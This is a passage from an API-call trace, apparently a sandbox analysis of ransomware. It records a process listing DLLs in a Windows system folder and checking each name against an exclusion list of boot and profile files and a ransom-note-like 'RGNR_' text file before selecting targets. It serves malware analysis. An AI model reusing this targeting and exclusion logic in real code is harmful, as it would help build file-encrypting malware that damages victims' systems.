Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.615] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadce.dll" | out: lpString1="msadce.dll") returned="msadce.dll" [0078.615] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned=".dll" [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="autorun.inf") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="boot.ini") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="bootfont.bin") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="bootsect.bak") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="bootmgr") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="bootmgr.efi") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="bootmgfw.efi") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="desktop.ini") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="iconcache.db") returned 1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="ntldr") returned -1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="ntuser.dat") returned -1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="ntuser.dat.log") returned -1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="ntuser.ini") returned -1 [0078.615] lstrcmpiW (lpString1="msadce.dll", lpString2="thumbs.db") returned -1 [0078.615] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.616] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.616] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0078.616] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.616] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadcer.dll" | out: lpString1="msadcer.dll") returned="msadcer.dll" [0078.616] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned=".dll" [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="autorun.inf") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="boot.ini") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="bootfont.bin") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="bootsect.bak") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="bootmgr") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="bootmgr.efi") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="bootmgfw.efi") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="desktop.ini") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="iconcache.db") returned 1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="ntldr") returned -1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="ntuser.dat") returned -1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="ntuser.dat.log") returned -1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="ntuser.ini") returned -1 [0078.616] lstrcmpiW (lpString1="msadcer.dll", lpString2="thumbs.db") returned -1 [0078.616] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.616] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.616] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0078.616] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.616] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadcf.dll" | out: lpString1="msadcf.dll") returned="msadcf.dll" [0078.616] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll") returned=".dll" [0078.616] lstrcmpiW (lpString1="msadcf.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.616] lstrcmpiW (lpString1="msadcf.dll", lpString2="autorun.inf") returned 1 [0078.616] lstrcmpiW (lpString1="msadcf.dll", lpString2="boot.ini") returned 1 [0078.616] lstrcmpiW (lpString1="msadcf.dll", lpString2="bootfont.bin") returned 1 [0078.616] lstrcmpiW (lpString1="msadcf.dll", lpString2="bootsect.bak") returned 1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="bootmgr") returned 1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="bootmgr.efi") returned 1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="bootmgfw.efi") returned 1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="desktop.ini") returned 1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="iconcache.db") returned 1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="ntldr") returned -1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="ntuser.dat") returned -1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="ntuser.dat.log") returned -1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="ntuser.ini") returned -1 [0078.617] lstrcmpiW (lpString1="msadcf.dll", lpString2="thumbs.db") returned -1 [0078.617] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.617] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.617] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0078.617] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.617] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadcfr.dll" | out: lpString1="msadcfr.dll") returned="msadcfr.dll" [0078.617] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll") returned=".dll" [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="autorun.inf") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="boot.ini") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="bootfont.bin") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="bootsect.bak") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="bootmgr") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="bootmgr.efi") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="bootmgfw.efi") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="desktop.ini") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="iconcache.db") returned 1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="ntldr") returned -1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="ntuser.dat") returned -1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="ntuser.dat.log") returned -1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="ntuser.ini") returned -1 [0078.617] lstrcmpiW (lpString1="msadcfr.dll", lpString2="thumbs.db") returned -1 [0078.617] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.617] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.617] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0078.618] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.618] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadco.dll" | out: lpString1="msadco.dll") returned="msadco.dll" [0078.618] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned=".dll" [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="autorun.inf") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="boot.ini") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="bootfont.bin") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="bootsect.bak") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="bootmgr") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="bootmgr.efi") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="bootmgfw.efi") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="desktop.ini") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="iconcache.db") returned 1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="ntldr") returned -1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="ntuser.dat") returned -1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="ntuser.dat.log") returned -1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="ntuser.ini") returned -1 [0078.618] lstrcmpiW (lpString1="msadco.dll", lpString2="thumbs.db") returned -1 [0078.618] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.618] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.618] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0078.618] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.618] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadcor.dll" | out: lpString1="msadcor.dll") returned="msadcor.dll" [0078.618] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned=".dll" [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="autorun.inf") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="boot.ini") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="bootfont.bin") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="bootsect.bak") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="bootmgr") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="bootmgr.efi") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="bootmgfw.efi") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="desktop.ini") returned 1 [0078.618] lstrcmpiW (lpString1="msadcor.dll", lpString2="iconcache.db") returned 1 [0078.619] lstrcmpiW (lpString1="msadcor.dll", lpString2="ntldr") returned -1 [0078.619] lstrcmpiW (lpString1="msadcor.dll", lpString2="ntuser.dat") returned -1 [0078.619] lstrcmpiW (lpString1="msadcor.dll", lpString2="ntuser.dat.log") returned -1 [0078.619] lstrcmpiW (lpString1="msadcor.dll", lpString2="ntuser.ini") returned -1 [0078.619] lstrcmpiW (lpString1="msadcor.dll", lpString2="thumbs.db") returned -1 [0078.619] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.619] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.619] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0078.619] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.619] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadcs.dll" | out: lpString1="msadcs.dll") returned="msadcs.dll" [0078.619] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll") returned=".dll" [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="autorun.inf") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="boot.ini") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="bootfont.bin") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="bootsect.bak") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="bootmgr") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="bootmgr.efi") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="bootmgfw.efi") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="desktop.ini") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="iconcache.db") returned 1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="ntldr") returned -1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="ntuser.dat") returned -1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="ntuser.dat.log") returned -1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="ntuser.ini") returned -1 [0078.619] lstrcmpiW (lpString1="msadcs.dll", lpString2="thumbs.db") returned -1 [0078.619] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.619] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.619] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0078.619] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.619] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msadds.dll" | out: lpString1="msadds.dll") returned="msadds.dll" [0078.619] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned=".dll" [0078.619] lstrcmpiW (lpString1="msadds.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="autorun.inf") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="boot.ini") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="bootfont.bin") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="bootsect.bak") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="bootmgr") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="bootmgr.efi") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="bootmgfw.efi") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="desktop.ini") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="iconcache.db") returned 1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="ntldr") returned -1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="ntuser.dat") returned -1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="ntuser.dat.log") returned -1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="ntuser.ini") returned -1 [0078.620] lstrcmpiW (lpString1="msadds.dll", lpString2="thumbs.db") returned -1 [0078.620] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.620] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.620] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.620] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0078.620] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.620] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msaddsr.dll" | out: lpString1="msaddsr.dll") returned="msaddsr.dll" [0078.620] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned=".dll" [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="autorun.inf") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="boot.ini") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="bootfont.bin") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="bootsect.bak") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="bootmgr") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="bootmgr.efi") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="bootmgfw.efi") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="desktop.ini") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="iconcache.db") returned 1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="ntldr") returned -1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="ntuser.dat") returned -1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="ntuser.dat.log") returned -1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="ntuser.ini") returned -1 [0078.620] lstrcmpiW (lpString1="msaddsr.dll", lpString2="thumbs.db") returned -1 [0078.621] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.621] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.621] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0078.621] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.621] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msdaprsr.dll" | out: lpString1="msdaprsr.dll") returned="msdaprsr.dll" [0078.621] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned=".dll" [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="autorun.inf") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="boot.ini") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="bootfont.bin") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="bootsect.bak") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="bootmgr") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="bootmgr.efi") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="bootmgfw.efi") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="desktop.ini") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="iconcache.db") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="ntldr") returned -1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="ntuser.dat") returned -1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="ntuser.dat.log") returned -1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="ntuser.ini") returned -1 [0078.621] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="thumbs.db") returned -1 [0078.621] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.621] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.621] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0078.621] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.621] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msdaprst.dll" | out: lpString1="msdaprst.dll") returned="msdaprst.dll" [0078.621] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned=".dll" [0078.621] lstrcmpiW (lpString1="msdaprst.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.621] lstrcmpiW (lpString1="msdaprst.dll", lpString2="autorun.inf") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprst.dll", lpString2="boot.ini") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprst.dll", lpString2="bootfont.bin") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprst.dll", lpString2="bootsect.bak") returned 1 [0078.621] lstrcmpiW (lpString1="msdaprst.dll", lpString2="bootmgr") returned 1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="bootmgr.efi") returned 1 [0078.622] lstrcmpiW 